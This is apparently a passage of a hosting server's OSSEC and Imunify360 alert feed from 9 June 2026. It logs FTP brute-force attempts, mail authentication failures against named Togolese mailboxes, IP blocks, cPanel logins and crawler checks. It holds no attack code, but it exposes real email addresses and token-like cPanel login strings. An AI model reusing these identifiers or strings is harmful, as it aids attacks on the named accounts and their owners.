name: FTP Authentication failed.
abuser: 119.161.96.78
country_id: 1269750
description:
Jun  9 18:33:10 ns5 pure-ftpd[1066978]: (?@119.161.96.78) [WARNING] Authentication failed for user [www]


plugin: ossec
rule: 11321
name: Active Response. FTP brute force attack (Port 21 is protected)
abuser: 119.161.96.78
country_id: 1269750
description:
Jun  9 18:33:23 ns5 pure-ftpd[1067092]: (?@119.161.96.78) [WARNING] Authentication failed for user [www]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.203
country_id: 3469034
description:
Jun  9 18:33:32 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.203 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.130
country_id: 1880251
description:
47.128.121.130 - - [09/Jun/2026:18:35:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6985884&pdata=https%253A%252F%252Ftogomedia24.tg%252F2021%252F08%252F25%252Ftogo-covid-19-le-melange-astrazeneca-et-pfizer-approuve%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781030102 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/2021/08/25/togo-covid-19-le-melange-astrazeneca-et-pfizer-approuve/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.130


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.150
country_id: 1880251
description:
47.128.96.150 - - [09/Jun/2026:18:34:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10262215&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdeces-dun-maire-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781030060 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/deces-dun-maire-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.150


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.223.38.27
country_id: 1814991
description:
Jun  9 18:34:38 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.223.38.27 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.176
country_id: 1880251
description:
47.128.96.176 - - [09/Jun/2026:18:34:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6777751&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fvacances-numeriques%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781030079 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/vacances-numeriques/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.176


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.157
country_id: 1880251
description:
47.128.96.157 - - [09/Jun/2026:18:36:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7128009&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fministere-des-enseignements-primaire-secondaire-technique-et-de-lartisanat%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781030200 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ministere-des-enseignements-primaire-secondaire-technique-et-de-lartisanat/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.157


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.205
country_id: 1880251
description:
47.128.96.205 - - [09/Jun/2026:18:37:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10118853&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmiss-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781030225 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/miss-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.205


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 52.71.149.115
country_id: 6252001
domain: www.archivesdemo.devbase.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.0.0 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.176
country_id: 1880251
description:
47.128.96.176 - - [09/Jun/2026:18:38:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10077554&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmiss-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781030288 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/miss-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.176


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.134
country_id: 1880251
description:
47.128.96.134 - - [09/Jun/2026:18:38:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10328982&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fetat-durgence-sanitaire%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781030295 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/etat-durgence-sanitaire/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.134


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.223.38.27
country_id: 1814991
description:
Jun  9 18:38:24 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.223.38.27 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 119.161.96.78
country_id: 1269750
description:
Jun  9 18:38:53 ns5 pure-ftpd[1070887]: (?@119.161.96.78) [WARNING] Authentication failed for user [anonymous]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.167
country_id: 1880251
description:
47.128.96.167 - - [09/Jun/2026:18:38:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7050606&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fperdiem-de-reportage%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781030332 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/perdiem-de-reportage/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.167


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.156
country_id: 2635167
description:
[2026-06-09 18:39:03 +0000] info [cpaneld] 5.230.133.156 NEW wcnyaruu:tu7u0Tm94fOmkRuu address=5.230.133.156,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11321
name: Active Response. FTP brute force attack (Port 21 is protected)
abuser: 119.161.96.78
country_id: 1269750
description:
Jun  9 18:39:22 ns5 pure-ftpd[1071374]: (?@119.161.96.78) [WARNING] Authentication failed for user [anonymous]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.64.158.81
country_id: 2017370
description:
Jun  9 18:39:29 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.64.158.81 has been locked due to Imunify RBL


plugin: ossec
rule: 11331
name: Stealth FTP brute force attack
abuser: 119.161.96.78
country_id: 1269750
description:
Jun  9 18:39:33 ns5 pure-ftpd[1071518]: (?@119.161.96.78) [WARNING] Authentication failed for user [anonymous]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.190
country_id: 1880251
description:
47.128.96.190 - - [09/Jun/2026:18:39:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6593179&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fetat-durgence-sanitaire%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781030389 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/etat-durgence-sanitaire/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.190


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.64
country_id: 2635167
description:
[2026-06-09 18:39:56 +0000] info [cpaneld] 5.230.133.64 NEW pjwfvzan:y244lJrDH5ZuWAPI address=5.230.133.64,app=cpaneld,creator=pjwfvzan,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.119.198
country_id: 1880251
description:
47.128.119.198 - - [09/Jun/2026:18:39:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6515053&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D9130&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781030353 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=9130" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.119.198


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.19
country_id: 1880251
description:
47.128.96.19 - - [09/Jun/2026:18:39:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10394258&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-supprime-visa-entree-africains%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781030351 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-supprime-visa-entree-africains/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.19


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 119.161.96.78
country_id: 1269750
description:
Jun  9 18:39:15 ns5 pure-ftpd[1071308]: (?@119.161.96.78) [WARNING] Authentication failed for user [anonymous]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.64.158.81
country_id: 2017370
description:
2026-06-09 18:39:31 dovecot_login authenticator failed for H=([178.64.158.81]) [178.64.158.81]:51892: 535 Incorrect authentication data (set_id=admin@togosem.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.177.159.96
country_id: 2464461
description:
2026-06-09 06:16:17 dovecot_login authenticator failed for H=([91.92.243.93]) [196.177.159.96]:45294: 535 Incorrect authentication data (set_id=soporte@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 44.242.50.106
country_id: 6252001
description:
2026-06-09 02:51:55 dovecot_login authenticator failed for H=ec2-44-242-50-106.us-west-2.compute.amazonaws.com (185-224-215-184.netherlands-3.vps.ac) [44.242.50.106]:20436: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.183
country_id: 2750405
description:
2026-06-09 03:56:11 dovecot_login authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [104.28.163.183]:26412: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.82.233
country_id: 3469034
description:
Jun  9 08:19:24 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.82.233 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 35.171.217.30
country_id: 6252001
domain: 127.0.0.1
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/132.0.0.0 Safari/537.36||RSV:8.12||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.217.185.189
country_id: 2017370
description:
2026-06-09 07:09:52 dovecot_login authenticator failed for H=([91.92.243.93]) [62.217.185.189]:2399: 535 Incorrect authentication data (set_id=suporte@dgdn-togo.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 205.169.39.57
country_id: 6252001
description:
205.169.39.57 - - [09/Jun/2026:00:37:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10144110%26pdata=http://alerte.tg%26id=7fa3b767c460b54a2be4d49030b349c7%26ts=1780965423 HTTP/1.1" 404 561 alerte.tg "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.57


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.100.133.79
country_id: 1733045
description:
2026-06-09 07:08:23 dovecot_login authenticator failed for H=([91.92.243.93]) [118.100.133.79]:56826: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.107.179.123
country_id: 2921044
description:
2026-06-09 03:55:59 dovecot_login authenticator failed for H=static.123.179.107.91.clients.your-server.de (185-224-215-184.netherlands-3.vps.ac) [91.107.179.123]:46426: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.200
country_id: 2750405
description:
2026-06-09 03:42:32 dovecot_login authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [104.28.163.200]:13273: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.58.64.140
country_id: 1269750
description:
Jun  9 03:24:02 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.58.64.140 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.74.70.113
country_id: 1733045
description:
2026-06-09 03:28:04 dovecot_login authenticator failed for H=([91.92.243.93]) [180.74.70.113]:59479: 535 Incorrect authentication data (set_id=support@belali.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.121.99.175
country_id: 3469034
description:
2026-06-09 06:14:18 dovecot_login authenticator failed for H=([91.92.243.93]) [168.121.99.175]:23851: 535 Incorrect authentication data (set_id=contacto@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.234
country_id: 3175395
description:
Jun  9 05:32:03 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.234 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.22.212.32
country_id: 1269750
description:
[2026-06-09 07:40:37 +0000] info [cpaneld] 165.22.212.32 - cafetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.124.179.199
country_id: 2017370
description:
2026-06-09 07:11:27 dovecot_login authenticator failed for H=([91.92.243.93]) [185.124.179.199]:5502: 535 Incorrect authentication data (set_id=info@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.113.75
country_id: 3175395
description:
2026-06-09 03:41:58 dovecot_login authenticator failed for H=vm1255.akenai.wtf (185-224-215-184.netherlands-3.vps.ac) [31.76.113.75]:47752: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.87.13
country_id: 1512440
description:
2026-06-09 05:20:27 H=([213.230.87.13]) [213.230.87.13]:41058 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.76.184.110
country_id: 732800
description:
Jun  9 09:59:28 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.76.184.110 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.28.163.183
country_id: 2750405
description:
Jun  9 03:56:09 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.28.163.183 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.183
country_id: 298795
description:
Jun  9 07:15:50 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.183 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [09/Jun/2026:00:37:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9804228&pdata=http%253A%252F%252Falerte.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780965471 HTTP/1.1" 302 0 alerte.tg "http://alerte.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.102.189
country_id: 798544
description:
Jun  9 02:39:24 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.102.189 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.135.196.35
country_id: 2510769
description:
Jun  9 07:42:42 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.135.196.35 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.173
country_id: 3469034
description:
Jun  9 11:16:37 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.173 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.236.17.86
country_id: 1522867
description:
2026-06-09 03:55:06 dovecot_login authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [178.236.17.86]:52966: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.242.64.44
country_id: 298795
description:
2026-06-09 06:16:31 dovecot_login authenticator failed for H=([91.92.243.93]) [88.242.64.44]:42392: 535 Incorrect authentication data (set_id=ventas@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 57.181.38.2
country_id: 1861060
description:
2026-06-09 03:54:25 dovecot_login authenticator failed for H=ec2-57-181-38-2.ap-northeast-1.compute.amazonaws.com (185-224-215-184.netherlands-3.vps.ac) [57.181.38.2]:16820: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.4.99
country_id: 2750405
description:
2026-06-09 03:59:04 dovecot_login authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [141.98.4.99]:38522: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.225.195.53
country_id: 3865483
description:
Jun  9 11:22:06 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.225.195.53 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.113.34
country_id: 3175395
description:
2026-06-09 03:54:38 dovecot_login authenticator failed for H=vm807.akenai.wtf (185-224-215-184.netherlands-3.vps.ac) [31.76.113.34]:42464: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.208.139.98
country_id: 2921044
description:
2026-06-09 02:53:03 dovecot_login authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [85.208.139.98]:44348: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.248
country_id: 3469034
description:
Jun  9 04:21:19 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.248 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.56.188.85
country_id: 2921044
description:
2026-06-09 03:51:32 dovecot_login authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [31.56.188.85]:40124: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 54.166.153.72
country_id: 6252001
description:
[2026-06-09 10:19:21 +0000] info [whostmgrd] 54.166.153.72 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.77.50.134
country_id: 3175395
description:
Jun  9 04:23:18 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.77.50.134 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.31.131.33
country_id: 783754
description:
2026-06-09 03:58:05 dovecot_login authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [144.31.131.33]:43242: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.42
country_id: 1269750
description:
Jun  9 01:11:45 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.66.126.73
country_id: 3469034
description:
2026-06-09 06:15:01 dovecot_login authenticator failed for H=([91.92.243.93]) [200.66.126.73]:13358: 535 Incorrect authentication data (set_id=it@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.124.163
country_id: 690791
description:
Jun  9 07:29:57 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.124.163 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.143.24.130
country_id: 933860
description:
Jun  9 09:47:44 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.143.24.130 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.165.69
country_id: 6252001
description:
2026-06-09 02:51:39 dovecot_login authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [104.28.165.69]:15230: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.124.218.229
country_id: 3865483
description:
Jun  9 11:33:26 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.124.218.229 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.129.164.86
country_id: 2017370
description:
2026-06-09 03:27:34 dovecot_login authenticator failed for H=([91.92.243.93]) [95.129.164.86]:12624: 535 Incorrect authentication data (set_id=info@belali.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.188.122.239
country_id: 290291
description:
2026-06-09 03:30:59 dovecot_login authenticator failed for H=([91.92.243.93]) [193.188.122.239]:15216: 535 Incorrect authentication data (set_id=soporte@belali.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.72.64.32
country_id: 6252001
description:
Jun  9 03:38:08 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.72.64.32 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.170.108.172
country_id: 2363686
description:
[2026-06-09 11:19:56 +0000] info [webmaild] 196.170.108.172 - contact@perfect-labo.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.214.49.210
country_id: 2245662
domain: www.worldinfo.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.worldinfo.tg/internet-haut-debit-la-3g-de-moov-togo-arrive/ HTTP/1.1||RSV:8.12||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.2.82
country_id: 2363686
description:
[2026-06-09 09:27:40 +0000] info [cpaneld] 196.170.2.82 - verfghix "GET /cpsess4661011019/frontend/jupiter/index.html HTTP/1.1" DEFERRED LOGIN cpaneld: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.234.26.25
country_id: 2017370
description:
2026-06-09 03:31:34 dovecot_login authenticator failed for H=([91.92.243.93]) [109.234.26.25]:54541: 535 Incorrect authentication data (set_id=info@belali.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.201.143.137
country_id: 2017370
description:
2026-06-09 03:29:58 dovecot_login authenticator failed for H=([91.92.243.93]) [88.201.143.137]:44308: 535 Incorrect authentication data (set_id=accounts@belali.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.28.208.73
country_id: 3469034
description:
Jun  9 08:13:32 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.28.208.73 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.55.133.230
country_id: 3469034
description:
Jun  9 09:56:20 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.55.133.230 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.84.163
country_id: 6252001
description:
2026-06-09 03:54:51 dovecot_login authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [31.76.84.163]:38984: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.127.103.65
country_id: 1522867
description:
2026-06-09 07:08:06 dovecot_login authenticator failed for H=([91.92.243.93]) [128.127.103.65]:35494: 535 Incorrect authentication data (set_id=marketing@dgdn-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.210.132.14
country_id: 1269750
description:
[2026-06-09 07:48:30 +0000] info [cpaneld] 103.210.132.14 - cafetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.78.237
country_id: 690791
description:
Jun  9 01:48:45 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.78.237 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.46.160.98
country_id: 3865483
description:
2026-06-09 07:10:27 dovecot_login authenticator failed for H=([91.92.243.93]) [181.46.160.98]:40464: 535 Incorrect authentication data (set_id=office@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.206.98.152
country_id: 6290252
description:
Jun  9 11:22:17 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.206.98.152 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
